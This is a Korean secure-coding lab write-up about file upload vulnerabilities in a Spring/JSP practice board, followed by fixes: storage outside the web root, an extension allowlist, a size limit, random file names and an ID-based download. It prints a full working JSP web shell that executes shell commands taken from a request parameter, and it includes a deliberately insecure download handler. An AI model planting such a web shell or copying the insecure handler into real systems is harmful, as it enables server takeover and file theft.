위험한 형식 파일 업로드 취약점 이라고도 한다.
서비스에 파일 업로드 기능이 존재 할때, 아래와 같은 경우에 발생한다.
업로드하는 파일의 크기, 개수의 제한을 설정하지 않았을 때, 서비스 거부 공격(DoS)에 악용 될 수 있다.
웹 서버가 기준으로 정한 디렉터리를 Web Root Directory라고 한다.
외부에서 요청이 들어오면 Web Root Directory(이하 웹 루트 디렉터리)를 기준으로 상대 경로에 위치한 파일을 읽고 실행 결과 반환된다.
아래 URL 경로를 확인해 보자.
http://www.test.com:80/path/subpath/file
이 경로는 /var/www/html 기준 디렉터리로 정했다고 가정한다면, /var/www/html/path/subpath/file 경로에 존재할 것이다.
만약 접근하고 싶은 디렉터리가 /var/www/html/otherdir/otherfile 이라면, 아래 URL로 접근이 가능할 것이다.
http://www.test.com:80/var/www/html/otherdir/otherfile
WebShell 파일을 업로드 후 실행해 서버 제어권을 탈취할 수 있다.
WebShell이란? 서버 사이드 스크립트 언어(JSP, ASP, PHP, ...) 이용해 하나의 파일로 구성된다. 명령어 삽입 공격을 효율적으로 수행하도록 생성한 프로그램이다.

고양이 사진을 업로드하고, 업로드한 사진을 확인해 해당 파일의 경로를 확인해 보자.
웹 서버에서 사용하는 저장 디렉터리 위치와 웹 서버에서 저장 시 사용한 파일 이름을 확인 가능하다.

해당 경로로 웹 서버에 요청하면, 아래 그림과 같이 서버에 저장된 원본 파일을 확인 가능하다.
이는 외부에서 웹 서버에 저장된 파일에 직접 접근 가능하도록 설정된 것이다.

openeg에 로그인하지 않더라도, 해당 URL으로 웹 서버 내의 파일에 접근 가능한 것이다. 아래는 시크릿 브라우저에서 확인한 사진이다.

<%@ page import="java.io.*"%>
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
</head>
<body>
<form>
<textarea name="cmd" cols="100" rows="5"></textarea>
<br/>
<input type="submit" />
</form>
<pre>
<%
String cmd = request.getParameter("cmd"); ⇐ cmd 요청 파라미터의 값을 추출
if (cmd != null && !"".equals(cmd)) { ⇐ 값이 있는 경우
Process ps = null;
InputStream is = null;
InputStreamReader isr = null;
BufferedReader br = null;
try {
ps = Runtime.getRuntime().exec(cmd); ⇐ cmd 요청 파라미터의 값을
is = ps.getInputStream(); 해당 서버의 쉘에서 실행 후 결과를 반환
isr = new InputStreamReader(is);
br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null) {
out.println(line);
}
} catch (Exception e) {
System.err.println(e);
} finally {
if (br != null) { br.close(); }
if (isr != null) { isr.close(); }
if (is != null) { is.close(); }
if (ps != null) { ps.destroy(); }
}
}
%>
</pre>
</body>
</html>
파일을 게시판에 업로드한다.

게시판에 업로드 된 파일을 확인한다.

방금 전, 외부에서 웹 서버에 저장된 파일에 접근 가능했다. 따라서 웹 서버에 업로드 된 OSCommand.jsp 파일또한 외부에서 접근 가능할 것이다.
OSCommand.jsp 파일은 요청 시, CMD 요청 파라미터의 값을 추출하고 CMD 요청 파라미터 값을 서버의 쉘에서 실행해 결과를 반환한다.
브라우저를 통해 서버의 파일을 호출해 보자.
http://victim:8080/openeg/files/OSCommand.jsp
아래와 같이 프롬프트 명령어 결과도 출력해준다.

@RequestMapping(value = "/write.do", method = RequestMethod.POST)
public String boardWriteProc(@ModelAttribute("BoardModel") BoardModel boardModel, MultipartHttpServletRequest request, HttpSession session) {
// 업로드 파일 저장 경로 설정
// 웹 루트 디렉터리 서버 실제 경로 아래에 files 디렉터리를 만들고 그 아래에 파일을 저장한다.
String uploadPath = session.getServletContext().getRealPath("/") + "files/";
File dir = new File(uploadPath);
if (!dir.exists()) {
dir.mkdir();
}
// 요청으로부터 file 이름 파라미터를 가져와 MultipartFile 인스턴스에 저장 후, 파일에 대한 정보와 데이터를 저장한다
MultipartFile file = request.getFile("file");
// 파일 내용이 null 이거나, 이미 동일한 파일이 존재하지 않으면 파일 저장.
// 이때, uploadPath(웹 루트 디렉터리 서버 실제 경로)를 사용해 파일 업로드한다.
if (file != null && !"".equals(file.getOriginalFilename())) {
String fileName = file.getOriginalFilename();
File uploadFile = new File(uploadPath + fileName);
// 업로드할 파일이 먼저 존재하면, 날짜를 파일 이름에 붙여 업로드한다.
if (uploadFile.exists()) {
fileName = new Date().getTime() + fileName;
uploadFile = new File(uploadPath + fileName);
}
// 파일을 설정 경로, 이름으로 전송(저장목적)한다.
try {
file.transferTo(uploadFile);
} catch (Exception e) {
System.out.println("upload error");
}
boardModel.setFileName(fileName);
}
String content = boardModel.getContent().replaceAll("\r\n", "<br />");
boardModel.setContent(content);
service.writeArticle(boardModel);
return "redirect:list.do";
}
위의 소스코드에서는 아래와 같은 취약점이 존재한다.
1. 업로드 파일 개수, 크기 제한 없음
2. 외부 접근 가능한 웹 루트 디렉터리 아래 원본 파일명으로 저장
따라서 이는 파일 업로드 취약점이 존재한다고 볼 수 있다.
현재 웹 서버는 파일을 파일 서버 내에 업로드 파일을 저장 / 파일 업로드 제한(개수, 크기)이 없다.
#1 : 업로드한 파일을 외부에서 접근 불가능한 경로에 저장한다.
#2-1 : 파일 확장자를 제한한다.
#-2-2 : 파일 크기를 제한한다. 일정 크기의 파일을 업로드하면, 안내 메시지와 함께 업로드 페이지로 리다이렉션 해준다.
#3 : 외부에서 저장 파일명을 알 수 없도록 설정
#4: #3번에서 사용한 파일명을 DB에 저장한다. (추후 파일 정보 참조 목적)
// 업로드 가능한 파일 확장자를 정의
private final String[] allowedFileExtention = { "jpg", "jpeg", "png", "jfif" };
// 게시판 글저장 처리
@RequestMapping(value = "/write.do", method = RequestMethod.POST)
public String boardWriteProc(@ModelAttribute("BoardModel") BoardModel boardModel, MultipartHttpServletRequest request, HttpSession session) {
session.setAttribute("error_message", "");
// S: CSRF 방어 : SCRF 관련 코드가 없다면 해당 부분으로 인해 리다이렉션 된다.
String stoken = (String)session.getAttribute("session_token");
String ptoken = request.getParameter("request_token");
if (ptoken == null || !ptoken.equals(stoken)) {
session.setAttribute("error_message", "잘못된 접근입니다.");
return "redirect:list.do";
}
// E: CSRF 방어
// #1 업로드 파일을 외부에서 접근할 수 없는 경로에 저장
// String uploadPath = session.getServletContext().getRealPath("/") + "files/";
String uploadPath = "c:/upload/files/";
File dir = new File(uploadPath);
if (!dir.exists()) {
dir.mkdir();
}
MultipartFile file = request.getFile("file");
if (file != null && !"".equals(file.getOriginalFilename())) {
// #2-1 확장자를 비교해서 이미지 파일만 업로드할 수 있도록 제한
// "jpg", "jpeg", "png", "jfif"
// 업로드 파일의 확장자를 추출
String[] temp = file.getOriginalFilename().split("\\.");
String extention = temp[temp.length-1];
// 확장자로 사용할 수 있는 목록에 업로드 파일의 확장자가 포함되어 있는지 확인
List<String> list = new ArrayList<>(Arrays.asList(allowedFileExtention));
if (!list.contains(extention)) {
session.setAttribute("error_message", "이미지 파일만 업로드 가능합니다.");
return "redirect:list.do";
}
// #2-2 업로드 파일의 크기가 2M 보다 큰 경우 오류 메시지와 함께 list 페이지로 리다이렉트
if (file.getSize() > 2097152) {
session.setAttribute("error_message", "2MB 이하의 크기만 첨부할 수 있습니다.");
return "redirect:list.do";
}
// #3 외부에서 알 수 없도록 저장 파일명을 다른게 설정
String savedFileName = UUID.randomUUID().toString();
String fileName = file.getOriginalFilename();
// File uploadFile = new File(uploadPath + fileName);
File uploadFile = new File(uploadPath + savedFileName);
/* 중복된 파일명이 생성되지 않으므로 주석 처리
if (uploadFile.exists()) {
fileName = new Date().getTime() + fileName;
uploadFile = new File(uploadPath + fileName);
}
*/
try {
file.transferTo(uploadFile);
} catch (Exception e) {
System.out.println("upload error");
}
// #4 파일 저장 시 사용한 파일명을 DB에 저장할 수 있도록 설정
boardModel.setSavedFileName(savedFileName);
boardModel.setFileName(fileName);
}
String content = boardModel.getContent().replaceAll("\r\n", "<br />");
boardModel.setContent(content);
service.writeArticle(boardModel);
return "redirect:list.do";
}
웹 소스코드를 위와 같이 수정하고, 테스트 해 보자.
(Ctrl + Shift + O ) 눌러 라이브러리 추가
파일이 저장될 디렉터리 생성

사진 파일 업로드

업로드 된 파일 확인

파일의 이름이 randomUUID 함수로 인해 무작위로 생성 되었지만, 그림판으로 확인 가능하다.

소스코드 수정 전 => 업로드한 파일이 웹 서버 소스파일 내 존재
(C:\FullstackLAB\workspace.metadata.plugins\org.eclipse.wst.server.core\tmp1\wtpwebapps\openeg\files)
소스코드 수정 후 => 업로드 파일이 다른 이름으로 웹 서버 소스파일 외 존재 (C:\upload\files)
(무슨 로직인지는 몰라도, 첨부한 파일 이름으로 href, img 태그가 생성된다.)
그러나 해당 링크에는 파일이 존재하지 않고, 해당 src 에도 파일이 존재하지 않는다.
=> 이미지가 게시물에서 나타나지 않는다.

웹 루트 디렉터리의 실제 서버 경로
~ href 주소가 아래 해당하는 주소이다.

수정된 소스코드로 인해 업로드된 파일들은 웹 서버 외 장소에 원본 파일명과는 다른 이름으로 저장된다.
만약 해당 파일들을 다시 사용(웹 게시판에서 확인, 다운로드)시, 외부에서 (웹 서버 포함) 경로를 사용해 가져온다면 위험하다.
따라서, 접근 할 수 없는 경로의 파일을 읽어 응답으로 반환하는 기능이 있어야 한다.
원본과 다른 이름의 파일을 가져와 보여주는 코드를 작성한다.
// 이미지 다운로드 기능을 구현
@RequestMapping("/download.do")
public void download(HttpServletRequest request, HttpSession session, HttpServletResponse response) {
// 요청 파라미터로 전달된 게시판 ID를 추출
int idx = Integer.parseInt(request.getParameter("idx"));
// 게시판 ID와 일치하는 게시판 정보를 조회 ==> 저장된 파일 이름(savedFileName)를 추출하기 위해서
BoardModel board = service.getOneArticle(idx);
// 게시판 정보가 존재하지 않으면 리턴
if (board == null) {
return;
}
// 원본 파일명을 추출
String filename = board.getFileName();
// 저장에 사용한 파일명을 추출
String savedFileName = board.getSavedFileName();
// 파일의 저장 경로 + 저장 파일명 ==> 파일을 열고 읽을 수 있음
String filePath = "c:/upload/files/" + savedFileName;
BufferedOutputStream out = null;
InputStream in = null;
try {
response.setContentType("image/*");
response.setHeader("Content-Disposition", "inline; filename=" + filename); // filename 은 다운로드 파일, 원본 파일 이름을 나타낸다.
File file = new File(filePath);
in = new FileInputStream(file);
out = new BufferedOutputStream(response.getOutputStream());
int len;
byte[] buf = new byte[1024];
while ((len = in.read(buf)) > 0) {
out.write(buf, 0, len);
}
} catch (Exception e) {
e.printStackTrace();
System.out.println("파일 전송 에러");
} finally {
if (out != null) {
try {
out.close();
} catch (Exception e) {
}
}
if (in != null) {
try {
in.close();
} catch (Exception e) {
}
}
}
}
(Ctrl + Shift + O ) 눌러 라이브러리 추가
view.jsp 첨부한 파일을 URL이 아닌, 다운로드 기능으로 파일을 받도록 수정한다.
<c:if test="${board.fileName != null}">
<tr>
<td colspan="4" align="left">
첨부파일 :
<br /><a href="../files/${board.fileName}" target="_blank">${board.fileName}</a>
<br /><img src="../files/${board.fileName}" />
<hr/>
수정된 첨부파일 보기
<br /><a href="download.do?idx=${board.idx}" target="_blank">${board.fileName}</a>
<br /><img src="download.do?idx=${board.idx}" />
</td>
</tr>
</c:if>
수정 결과를 확인해 보자.
수정된 첨부파일의 파일 위치는, idx로 저장한 파일을 가져온다.
이제
파일 업로드 => 파일 이름 랜덤 지정 + 웹 서버 외 장소 저장
파일 다운로드 => DB에 저장한 게시판 ID인 idx을 사용해, 원본 이미지 이름, 변경 이미지 이름을 사용해 가져온다.

다운로드 기능을 취약하게 구현하는 경우
view.jsp
<c:if test="${board.fileName != null}">
<tr>
<td colspan="4" align="left">
첨부파일 :
<br /><a href="../files/${board.fileName}" target="_blank">${board.fileName}</a>
<br /><img src="../files/${board.fileName}" />
<hr/>
수정된 첨부파일 보기
<br /><a href="download.do?idx=${board.idx}" target="_blank">${board.fileName}</a>
<br /><img src="download.do?idx=${board.idx}" />
<hr/>
안전하지 않은 방식으로 수정된 첨부파일 보기
<br /><a href="download2.do?file=${board.savedFileName}" target="_blank">${board.fileName}</a>
<br /><img src="download2.do?file=${board.savedFileName}" />
</td>
</tr>
</c:if>
BoardController.java
// 안전하지 않은 방법으로 이미지 다운로드 기능을 구현
@RequestMapping("/download2.do")
public void download2(HttpServletRequest request, HttpSession session, HttpServletResponse response) {
// 요청 파라미터로 전달된 저장 이미지 이름을 추출
String savedFileName = request.getParameter("file");
String filePath = "c:/upload/files/" + savedFileName;
BufferedOutputStream out = null;
InputStream in = null;
try {
response.setContentType("image/*");
response.setHeader("Content-Disposition", "inline; filename=" + savedFileName);
File file = new File(filePath);
in = new FileInputStream(file);
out = new BufferedOutputStream(response.getOutputStream());
int len;
byte[] buf = new byte[1024];
while ((len = in.read(buf)) > 0) {
out.write(buf, 0, len);
}
} catch (Exception e) {
e.printStackTrace();
System.out.println("파일 전송 에러");
} finally {
if (out != null) {
try {
out.close();
} catch (Exception e) {
}
}
if (in != null) {
try {
in.close();
} catch (Exception e) {
}
}
}
}
안전하지 않은 방법은, 웹 페이지상에 변경 이미지 이름을 사용하기 때문에 외부 사용자가 변경된 파일 이름을 알게 된다.
